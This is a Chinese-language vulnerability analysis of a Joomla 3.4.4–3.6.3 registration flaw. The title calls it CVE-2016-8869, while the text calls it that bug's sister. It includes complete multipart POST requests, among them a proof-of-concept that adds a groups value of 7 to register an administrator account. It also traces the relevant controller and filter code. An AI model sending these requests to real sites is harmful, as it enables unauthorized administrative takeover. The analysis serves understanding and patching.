首页 > 资讯 > 安全公告 >

joomla创建特权用户漏洞分析(cve-2016-8869)

2016-12-06

这个漏洞和CVE-2016-8869是姊妹篇的漏洞,但是这个漏洞比8869这个漏洞的思路更加巧妙,更有意思。这个漏洞本质也是与8869的这个漏洞差不多,都是出现在用户登陆注册的地方。

漏洞环境

Joomla版本 3.44到3.63

漏洞说明

这个漏洞和CVE-2016-8869是姊妹篇的漏洞,但是这个漏洞比8869这个漏洞的思路更加巧妙,更有意思。这个漏洞本质也是与8869的这个漏洞差不多,都是出现在用户登陆注册的地方。

漏洞分析

整个漏洞还是和之前的8869的漏洞类似,都是出在components/com_users/controllers/user.php中UsersControllerUser::register()中。

请求包

首先通过一个请求包来分析UsersControllerUser::register()的整个注册流程的处理。

POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/joomla/index.php/component/users/?view=registration

Cookie: 【COOKIE】

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=---------------------------596020006637

Content-Length: 1036

-----------------------------596020006637

Content-Disposition: form-data; name="user[name]"

spoock

-----------------------------596020006637

Content-Disposition: form-data; name="user[username]"

spoock

-----------------------------596020006637

Content-Disposition: form-data; name="user[password1]"

123456

-----------------------------596020006637

Content-Disposition: form-data; name="user[password2]"

123456

-----------------------------596020006637

Content-Disposition: form-data; name="user[email1]"

1@123.com

-----------------------------596020006637

Content-Disposition: form-data; name="user[email2]"

1@123.com

-----------------------------596020006637

Content-Disposition: form-data; name="option"

com_users

-----------------------------596020006637

Content-Disposition: form-data; name="task"

user.register

-----------------------------596020006637

Content-Disposition: form-data; name=【TOKEN】

1

-----------------------------596020006637--

上述使用【】标注的COOKIE和TOKEN需要用户自定义,至于如何得到这两个值,整个上面文章已经做了十分详细的说明了,这里就不做解释。

register()

上述的POST请求会由components/com_users/controllers/user.php中UsersControllerUser::register()来进行处理。

\

程序就会运行到$model->register($data)中。其中的$data就是POST data中的user数组。

register($temp)

跟踪$model->regsiter($data)方法

components/com_users/models/registration.php中的UsersModelRegistration::register($temp)

\

在对$temp进行foreach遍历之前,存在语句

1

$data = (array) $this->getData();

这个就会存在$data变量,在通过$temp对$data进行赋值之前,在$data就就已经存在了内容,同时还有标识用户类型的数据。

\

如上图所示,其中的groups数组值为2,标识了此用户为普通用户。

注册成功

在完成了整个流程之后,就会注册一个普通用户。

\

PoC

在知道了是使用groups数组来对用户进行标识,那么就可以直接在POST Data中加入groups数组,将值设定为管理员的值(在joomla为7),那么就可以创建一个管理员用户了。

POST data

POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/joomla/index.php/component/users/?view=registration

Cookie: 【COOKIE】

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=---------------------------596020006637

Content-Length: 1125

-----------------------------596020006637

Content-Disposition: form-data; name="user[name]"

spoock

-----------------------------596020006637

Content-Disposition: form-data; name="user[username]"

spoock

-----------------------------596020006637

Content-Disposition: form-data; name="user[password1]"

123456

-----------------------------596020006637

Content-Disposition: form-data; name="user[password2]"

123456

-----------------------------596020006637

Content-Disposition: form-data; name="user[email1]"

1@123.com

-----------------------------596020006637

Content-Disposition: form-data; name="user[email2]"

1@123.com

-----------------------------596020006637

Content-Disposition: form-data; name="user[groups][]"

7

-----------------------------596020006637

Content-Disposition: form-data; name="option"

com_users

-----------------------------596020006637

Content-Disposition: form-data; name="task"

user.register

-----------------------------596020006637

Content-Disposition: form-data; name=【TOKEN】

1

-----------------------------596020006637--

可以看到相比上一节中的POST请求,这个PoC中的POST请求增加了数据

-----------------------------596020006637

Content-Disposition: form-data; name="user[groups][]"

这个就是用来标识用户为管理员的数据。

在将$temp中的值赋值给$data之后通过调试,查看$temp和$data中的数据

\

可以看到,最后在$data中成功写入了groups为7的值。

最后查看后台用户,发现已经注册成为了管理员。

\

正常注册

上述的分析,都是基于components/com_users/controllers/user.php中UsersControllerUser::register()来进行分析的。在页面上进行正常注册时,注册请求会发送到components/com_users/controllers/registration.php中的UsersControllerRegistration::register()中。

POST data

在POST data中,仅仅只需要添加groups即可。

POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/joomla/index.php/component/users/?view=registration

Cookie:【COOKIE】

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=---------------------------204296728662

Content-Length: 1036

-----------------------------204296728662

Content-Disposition: form-data; name="jform[name]"

spoock

-----------------------------204296728662

Content-Disposition: form-data; name="jform[username]"

spoock

-----------------------------204296728662

Content-Disposition: form-data; name="jform[password1]"

123456

-----------------------------204296728662

Content-Disposition: form-data; name="jform[password2]"

123456

-----------------------------204296728662

Content-Disposition: form-data; name="jform[email1]"

1@123.com

-----------------------------204296728662

Content-Disposition: form-data; name="jform[email2]"

1@123.com

-----------------------------204296728662

Content-Disposition: form-data; name="jform[groups][]"

7

-----------------------------204296728662

Content-Disposition: form-data; name="option"

com_users

-----------------------------204296728662

Content-Disposition: form-data; name="task"

registration.register

-----------------------------204296728662

Content-Disposition: form-data; name=【TOKEN】

1

-----------------------------204296728662--

register()

上述的请求最后会由components/com_users/controllers/registration.php中的UsersControllerRegistration::register()来进行处理,在其中同样会存在$return = $model->register($data);语句。

\

diff

对比在UsersControllerRegistration和UsersControllerUser的register()方法UsersControllerRegistration::register()

public function register() {

//some php codes

$data = $model->validate($form, $requestData);

// some php codes

$return = $model->register($data);

//some php codes

}

UsersControllerUser::register()
public function register() {

//some php codes

$return = $model->validate($form, $data);

// some php codes

$return = $model->register($data);

// some php codes

}

从两者的对比中可以看出,UsersControllerUser中对data进行了验证之后并没有使用返回之后的$return而是仍然使用的是$data。在UsersControllerRegistration中对$requestData进行了验证之后,使用的是返回之后的$data。

validate

跟踪validate($form, $requestData)

libraries/legacy/model/form.php中的JModelForm::validate()方法。

在传入的validate()中,存在两个参数,分别为$form和$data。

\

从图中可以看出$data中是保存有groups的值的。

在valiate中胡调用fliter()函数对$data进行处理。

\

filter

跟踪filter($data)

libraries/joomla/form/form.php中的JForm::filter()

public function filter($data, $group = null) {

// Make sure there is a valid JForm XML document.

if (!($this->xml instanceof SimpleXMLElement))

{

return false;

}

$input = new Registry($data);

$output = new Registry;

// Get the fields for which to filter the data.

$fields = $this->findFieldsByGroup($group);

if (!$fields)

{

// PANIC!

return false;

}

// Filter the fields.

foreach ($fields as $field)

{

$name = (string) $field['name'];

// Get the field groups for the element.

$attrs = $field->xpath('ancestor::fields[@name]/@name');

$groups = array_map('strval', $attrs ? $attrs : array());

$group = implode('.', $groups);

$key = $group ? $group . '.' . $name : $name;

// Filter the value if it exists.

if ($input->exists($key))

{

$output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));

}

}

return $output->toArray();

}

从上面的代码中可以看出,$data最后转换成为了$input。同时还存在$fileds,是由程序产生$fields = $this->findFieldsByGroup($group);。

最关键的是foreach循环中,如果$data中的$key在$fields中才会进行输出,但是最后通过单步调试调试,发现在$fileds中并不存在$groups,那么最后就过滤掉了groups了。

所以通过正常的注册方式想要提升权限是不可能的。

后记

在本漏洞中存在的问题与8869的漏洞是一样的,注册用户之后需要通过邮件进行激活,所以这个漏洞实际上也很难发挥作用,修复方式也和8869漏洞的修复方式是一样的。

相关文章
最新文章
热点推荐